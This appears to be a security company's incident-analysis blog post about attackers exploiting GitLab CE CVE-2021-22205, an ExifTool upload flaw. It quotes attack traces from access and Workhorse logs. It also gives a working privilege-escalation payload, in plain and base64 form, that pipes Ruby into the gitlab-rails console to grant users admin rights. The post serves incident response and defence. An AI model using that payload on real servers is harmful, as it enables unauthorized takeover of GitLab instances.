Posted on Piergiovanni Cipolloni

GitLab CE CVE-2021-22205 in the wild

A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab CE server, and asked us to investigate what it looked like a security incident. Here’s what we found:

1) Between June and July 2021, two users were registered with random-looking usernames.

Suspicious admin users

This was possible because this version of GitLab CE permits user registration by default. Moreover, the email address specified during the registration phase isn’t verified by default, thus the newly created user is automatically logged on without any further steps. In addition, no notifications are sent to the administrators.

GitLab default sign-up restrictions

2) A few days later, the attackers logged on the GitLab server as the two newly created users and apparently did not perform any other actions.

So we decided to investigate how the attackers escalated their privileges to admin rights. Luckily, the logs were backed up so we could find the first traces of the exploitation steps within the following log files:

/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log

The actions performed by the attackers are the following:

a) User registration and login:

"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1" 
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1" 
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"

b) GitLab API abuse to list all the projects (including private projects):

"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"

c) Open an issue for the first project in the list, then upload an attachment to this issue:

"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1" 
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1" 
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"

That’s it, no other actions were taken by the attackers.

The attachment upload caught our attention, so we set up a GitLab server in our lab in an attempt to replicate what we saw in the wild. Meanwhile, we noticed that a recently released exploit for CVE-2021-22205 abuses the upload functionality in order to remotely execute arbitrary OS commands. The vulnerability resides in ExifTool, an open source tool used to remove metadata from images, which fails in parsing certain metadata embedded in the uploaded image, resulting in code execution as described here.

GitLab is composed of many components (Redis, Nginx, etc.). The one that handles uploads is called gitlab-workhorse, which in turn calls ExifTool before passing the final attachment to Rails as shown below:

Upload sequence diagram

So we dug into the logs a little deeper and we found evidences of two failed uploads within the Workhorse logs. We then ran the publicly available exploit against our lab server and noticed very similar patterns in our logs.

{"correlation_id":"cp1VzPnRzE4","filename":"exploit.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-09-20T10:30:04+02:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"cp1VzPnRzE4","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":"Error: Writing of this type of file is not supported - -\n","time":"2021-09-20T10:30:24+02:00"}
{"correlation_id":"cp1VzPnRzE4","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-09-20T10:30:24+02:00","uri":"/uploads/user"}

Unfortunately, ExifTools fail to save the uploaded image so we couldn’t easily identify the actually executed payload.

The payload used by the public exploit can execute a reverse shell, whereas the one used against our customer simply escalated the rights of the two previously registered users to admin. What kind of payload could the attackers have used? After reading a bit of GitLab documentation we came up with the following one-liner that can be used to manipulate user profiles (including rights) from the command line:

echo 'user = User.find_by(username: "czxvcxbxcvbnvcxvbxv");user.admin="true";user.save!' | gitlab-rails console

/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console

We used the above command as a payload for the publicly available exploit and we successfully obtained admin privs for the two users we previously created.

What appeared to be a privilege escalation vulnerability turned out to be an RCE vulnerability.

Now some interesting aspects we discovered while performing this incident analysis. It appears that we can boil down the whole exploiting process to just two requests: on a default GitLab installation (up until version 13.10.2) there’s no need to abuse the API to find a valid project, no need to open an issue, and most importantly no need to authenticate, as shown in the following screenshots:

First request to get the “csrf-token” / “authenticity-token”
Second request to perform the unauthenticated malicious upload

All the vulnerabilities described in this post (ExifTool, API abuse, User registration, etc.) are not present in the latest GitLab CE version (14.4.0 at the time of this writing).

Tags